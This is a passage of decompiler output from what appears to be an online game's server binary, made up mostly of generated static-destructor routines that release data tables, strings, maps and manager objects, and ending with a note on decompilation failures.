**)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 131DB494: using guessed type int ITableBase_ActionEffectItem_ActionEffectItemTable___ms_pkTable; //----- (0062F650) -------------------------------------------------------- int __cdecl _E290() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 131DB490: using guessed type int ITableBase_SetEffect_SetEffectTable___ms_pkTable; //----- (0062F680) -------------------------------------------------------- int __cdecl _E288() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 131DB48C: using guessed type int ITableBase_ItemAction_ItemActions___ms_pkTable; //----- (0062F6B0) -------------------------------------------------------- int __cdecl _E286() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 131DB488: using guessed type int ITableBase_ItemActionEffect_ItemActionEffects___ms_pkTable; //----- (0062F6E0) -------------------------------------------------------- int __cdecl _E284() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 131DB484: using guessed type int ITableBase_ItemActionCondition_ItemActionConditions___ms_pkTable; //----- (0062F710) -------------------------------------------------------- int __cdecl _E282() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 131DB480: using guessed type int ITableBase_ActionRangeFactor_ActionRangeFactors___ms_pkTable; //----- (0062F740) -------------------------------------------------------- int __cdecl _E280() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 130B9350: using guessed type int ITableBase_BelongDice_BelongDiceTable___ms_pkTable; //----- (0062F770) -------------------------------------------------------- int __cdecl _E278() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 130D783C: using guessed type int ITableBase_PKQuestLVGap_PKQuestLVGapTable___ms_pkTable; //----- (0062F7A0) -------------------------------------------------------- int __cdecl _E276() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 131DB47C: using guessed type int ITableBase_DamageLvGapEVP_LevelGap_Monster_to_Player___ms_pkTable; //----- (0062F7D0) -------------------------------------------------------- int __cdecl _E274() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 131DB478: using guessed type int ITableBase_DamageLvGapPVE_LevelGap_Player_to_Monster___ms_pkTable; //----- (0062F800) -------------------------------------------------------- int __cdecl _E272() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 131DB474: using guessed type int ITableBase_MysteryVaultServer_MysteryVaultTable___ms_pkTable; //----- (0062F830) -------------------------------------------------------- int __cdecl _E270() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 131DB470: using guessed type int ITableBase_ProdSucRate_ProdSucRateTable___ms_pkTable; //----- (0062F860) -------------------------------------------------------- int __cdecl _E268() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 130B9630: using guessed type int ITableBase_AccUpgrade_AccUpGradeTable___ms_pkTable; //----- (0062F890) -------------------------------------------------------- int __cdecl _E266() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // D1D90D0: using guessed type int ITableBase_GTWinScore_GTWinScoreTable___ms_pkTable; //----- (0062F8C0) -------------------------------------------------------- int __cdecl _E264() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 131DB46C: using guessed type int ITableBase_GTIBreedSubject_GTIBreedSubjectTable___ms_pkTable; //----- (0062F8F0) -------------------------------------------------------- int __cdecl _E262() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // D1D90CC: using guessed type int ITableBase_GTIServer_GTIServerTable___ms_pkTable; //----- (0062F920) -------------------------------------------------------- int __cdecl _E260() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // D1D90C8: using guessed type int ITableBase_GTIGetRateGap_GTIGetRateGapTable___ms_pkTable; //----- (0062F950) -------------------------------------------------------- int __cdecl _E258() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 131DB468: using guessed type int ITableBase_GTIGetRate_GTIGetRateTable___ms_pkTable; //----- (0062F980) -------------------------------------------------------- int __cdecl _E256() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 131DB464: using guessed type int ITableBase_GUILD_TOURNAMENT_MASTERBUFF_GuildTournamentMasterBuffTable___ms_pkTable; //----- (0062F9B0) -------------------------------------------------------- int __cdecl _E254() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 131DB460: using guessed type int ITableBase_GUILD_TOURNAMENT_SKILL_GuildTournamentSkillTable___ms_pkTable; //----- (0062F9E0) -------------------------------------------------------- int __cdecl _E252() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 131DB45C: using guessed type int ITableBase_GUILD_TOURNAMENT_OCCUPY_GuildTournamentOccupyTable___ms_pkTable; //----- (0062FA10) -------------------------------------------------------- int __cdecl _E250() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 131DB458: using guessed type int ITableBase_GUILD_TOURNAMENT_LVGAP_GuildTournamentLvGapTable___ms_pkTable; //----- (0062FA40) -------------------------------------------------------- int __cdecl _E248() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 131DB454: using guessed type int ITableBase_GUILD_TOURNAMENT_SCORE_GuildTournamentScoreTable___ms_pkTable; //----- (0062FA70) -------------------------------------------------------- int __cdecl _E300() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 131DB4A4: using guessed type int ITableBase_DamageLvGapPVP_LevelGap_Player_to_Player___ms_pkTable; //----- (0062FAA0) -------------------------------------------------------- int __cdecl _E298() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 131DB4A0: using guessed type int ITableBase_AccUpGradeInfo_AccUpGradeInfoTable___ms_pkTable; //----- (0062FAE0) -------------------------------------------------------- int __cdecl _E4_47() { int result; // eax@3 if ( NPCAction::ActionGen_OptionReader::tableName_._Myres >= 0x10 ) operator delete(*(void **)&NPCAction::ActionGen_OptionReader::tableName_._Bx._Buf[0]); result = 0; NPCAction::ActionGen_OptionReader::tableName_._Myres = 15; NPCAction::ActionGen_OptionReader::tableName_._Mysize = 0; NPCAction::ActionGen_OptionReader::tableName_._Bx._Buf[0] = 0; return result; } //----- (0062FB10) -------------------------------------------------------- int __cdecl _E4_48() { int result; // eax@3 if ( NPCAction::CondGen_OptionReader::tableName_._Myres >= 0x10 ) operator delete(*(void **)&NPCAction::CondGen_OptionReader::tableName_._Bx._Buf[0]); result = 0; NPCAction::CondGen_OptionReader::tableName_._Myres = 15; NPCAction::CondGen_OptionReader::tableName_._Mysize = 0; NPCAction::CondGen_OptionReader::tableName_._Bx._Buf[0] = 0; return result; } //----- (0062FB40) -------------------------------------------------------- void __cdecl _E7_20() { NPCAction::Manager::_Manager((NPCAction::Manager *)&actionManager); } //----- (0062FB50) -------------------------------------------------------- void __cdecl _E4_49() { NPCAction::Manager::_Manager(&conditionManager); } //----- (0062FB60) -------------------------------------------------------- void __cdecl _E10_21() { std::map>_std::less_std::allocator>>>>::_map>_std::less_std::allocator>>>>((std::map >,std::less,std::allocator > > > > *)&triggerDic); } //----- (0062FB70) -------------------------------------------------------- int __cdecl _E4_50() { int result; // eax@3 if ( NPCAction::TriggerGen_OptionReader::tableName_._Myres >= 0x10 ) operator delete(*(void **)&NPCAction::TriggerGen_OptionReader::tableName_._Bx._Buf[0]); result = 0; NPCAction::TriggerGen_OptionReader::tableName_._Myres = 15; NPCAction::TriggerGen_OptionReader::tableName_._Mysize = 0; NPCAction::TriggerGen_OptionReader::tableName_._Bx._Buf[0] = 0; return result; } //----- (0062FBA0) -------------------------------------------------------- int __cdecl _E2_26() { int result; // eax@3 if ( unk_6B6620 >= 0x10u ) operator delete(p); result = 0; unk_6B6620 = 15; unk_6B661C = 0; LOBYTE(p) = 0; return result; } //----- (0062FBD0) -------------------------------------------------------- void __cdecl _E5_55() { std::map>_std::less_std::allocator>>>>::_map>_std::less_std::allocator>>>>(&GuildTournamentLvGapTable::sm_mapBalanceDatas); } //----- (0062FBE0) -------------------------------------------------------- void __cdecl _E2_27() { std::multimap_std::allocator>>::_multimap_std::allocator>>((std::multimap,std::allocator > > *)&ActionEffectItemTable::_actions); } //----- (0062FBF0) -------------------------------------------------------- void __cdecl _E4_51() { std::multimap_std::allocator>>::_multimap_std::allocator>>((std::multimap,std::allocator > > *)&MysteryVaultTable::sm_ItemLists); } //----- (0062FC00) -------------------------------------------------------- void __cdecl _E5_56() { StaticVector::_StaticVector(&pointlist); } //----- (0062FC10) -------------------------------------------------------- void __cdecl _E2_28() { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator_std::allocator>>::_map_std::allocator>>((std::map,std::allocator > > *)&ActionRangeFactors::_rangeFactors); } //----- (0062FC50) -------------------------------------------------------- void __cdecl _E7_21() { std::map_std::allocator>>::_map_std::allocator>>((std::map,std::allocator > > *)&ItemActionConditions::_conditions); } //----- (0062FC60) -------------------------------------------------------- void __cdecl _E4_53() { std::map_std::allocator>>::_map_std::allocator>>((std::map,std::allocator > > *)&ItemActionEffects::_effects); } //----- (0062FC70) -------------------------------------------------------- void __cdecl _E6_86() { ItemActionObserveBuffer::_ItemActionObserveBuffer(&ObBuffer); } //----- (0062FC80) -------------------------------------------------------- void __cdecl _E4_54() { std::map_std::allocator>>::_map_std::allocator>>((std::map,std::allocator > > *)&ItemActions::_actions); } //----- (0062FC90) -------------------------------------------------------- void __cdecl _E4_55() { BossFieldContent::ServentBuffBossTable::_ServentBuffBossTable(&BossFieldContent::g_ServentBuffBossTable); } //----- (0062FCA0) -------------------------------------------------------- void __cdecl _E10_22() { BossFieldContent::MobAutomaticActionList::_MobAutomaticActionList(&BossFieldContent::g_MobAutomaticActionList); } //----- (0062FCB0) -------------------------------------------------------- void __cdecl _E7_22() { BossFieldContent::ListOfMobStateCheckAtDead::_ListOfMobStateCheckAtDead(&BossFieldContent::g_ListOfMobStateCheckAtDead); } //----- (0062FCD0) -------------------------------------------------------- void __cdecl _E7_23() { LuaScriptArgument::lsa_NoLuaArgument.vfptr = (LuaScriptArgument::LuaArgumentDefaultVtbl *)&LuaScriptArgument::LuaArgumentDefault::_vftable_; } // 67F5AC: using guessed type void *LuaScriptArgument__LuaArgumentDefault___vftable_; //----- (0062FCE0) -------------------------------------------------------- void __cdecl _E2_30() { LuaScriptSecurity::_LuaScriptSecurity((LuaScriptSecurity *)&g_LUA_SCRIPT_SECURITY); } //----- (0062FD10) -------------------------------------------------------- void __cdecl _E6_87() { SHND::CommonData::_CommonData((ItemRandomOption::OptionTable *)&SHND::g_BanTime); } //----- (0062FD20) -------------------------------------------------------- void __cdecl _E9_44() { SHND::CommonData::_CommonData((ItemRandomOption::OptionTable *)&SHND::g_TaxRate); } //----- (0062FD30) -------------------------------------------------------- void __cdecl _E12_39() { SHND::CommonData::_CommonData((ItemRandomOption::OptionTable *)&SHND::g_GBReward); } //----- (0062FD40) -------------------------------------------------------- void __cdecl _E15_23() { SHND::CommonData::_CommonData((ItemRandomOption::OptionTable *)&SHND::g_EventCode); } //----- (0062FD50) -------------------------------------------------------- void __cdecl _E4_56() { CGambleObjectManager::_CGambleObjectManager(&gGambleObjectManager); } //----- (0062FDA0) -------------------------------------------------------- void __cdecl _E13_14() { if ( First ) operator delete(*(void **)&First); First = 0; Last = 0; unk_14BC4F64 = 0; } //----- (0062FDE0) -------------------------------------------------------- void __cdecl _E4_57() { SlotMachine::SlotMachineScreenManager::_SlotMachineScreenManager(&g_SlotMachineScreenManager); } //----- (0062FDF0) -------------------------------------------------------- void __cdecl _E7_24() { SlotMachine::SlotMachineAnalyse::_SlotMachineAnalyse(&g_SlotMachineAnalyse); } //----- (0062FE00) -------------------------------------------------------- void __cdecl _E10_24() { SlotMachine::SlotMachineJackPotRanking::_SlotMachineJackPotRanking(&g_SlotMachineJackPotRanking); } //----- (0062FE10) -------------------------------------------------------- void __cdecl _E2_31() { AIScriptContainer::_AIScriptContainer((AIScriptContainer *)&g_AIScriptContainer); } //----- (0062FE30) -------------------------------------------------------- void __cdecl _E2_33() { RandomBox::_RandomBox(&rndbox); } //----- (0062FE40) -------------------------------------------------------- void __cdecl _E2_34() { ItemAttributeClassContainer::_ItemAttributeClassContainer(&itmattcontainer); } //----- (0062FE50) -------------------------------------------------------- void __cdecl _E2_35() { ItemBelongAttribute::_ItemBelongAttribute(&g_ItmBelongAttr); } //----- (0062FE90) -------------------------------------------------------- void __cdecl _E2_37() { BinaryDataBox::_BinaryDataBox(&mobresisttable); } //----- (0062FEA0) -------------------------------------------------------- void __cdecl _E2_38() { CParty::PARTY_SLOT::_PARTY_SLOT(&CParty::p_def); } //----- (0062FFC0) -------------------------------------------------------- void __cdecl _E2_40() { ShineCommonParameter::_ShineCommonParameter(&shinescriptetc); } //----- (0062FFD0) -------------------------------------------------------- void __cdecl _E5_59() { ShineCommonParameter::_ShineCommonParameter(&shinescriptmenusting); } //----- (0062FFE0) -------------------------------------------------------- void __cdecl _E8_55() { KQScriptManager::_KQScriptManager(&kqscriptmanager); } //----- (0062FFF0) -------------------------------------------------------- void __cdecl _E2_41() { BinaryDataBox::_BinaryDataBox((MobResistTable *)&rewarddata); } //----- (00630000) -------------------------------------------------------- void __cdecl _E5_60() { ItemOptionsData::_ItemOptionsData(&itemoptiondata); } //----- (00630010) -------------------------------------------------------- void __cdecl _E2_42() { _eh_vector_destructor_iterator_( &IOBufferList, 0x808u, 16, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00630030) -------------------------------------------------------- void __cdecl _E2_43() { CShnDataFileCheckSum::_CShnDataFileCheckSum(&ShnDataFile); } //----- (00630050) -------------------------------------------------------- void __cdecl _E2_45() { std::map_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>>::_map_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>>((std::map,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator > *)&CQuestParserScript::m_MapConvertIndexNames); } //----- (0063005A) -------------------------------------------------------- void __cdecl _E2_46() { std::_Init_locks::__Init_locks(&initlocks); } //----- (00630064) -------------------------------------------------------- void __cdecl _E2_47() { std::locale::_locale(&classic_locale); } //----- (0063006E) -------------------------------------------------------- void __cdecl _E2_48() { std::bad_alloc::_bad_alloc(&nomem); } //----- (00630078) -------------------------------------------------------- void __cdecl _E2_49() { std::_Init_locks::__Init_locks(&initlocks_0); } //----- (00630082) -------------------------------------------------------- void __cdecl _E5_61() { _Init_atexit::__Init_atexit(&init_atexit); } #error "There were 1675 decompilation failure(s) on 12666 function(s)"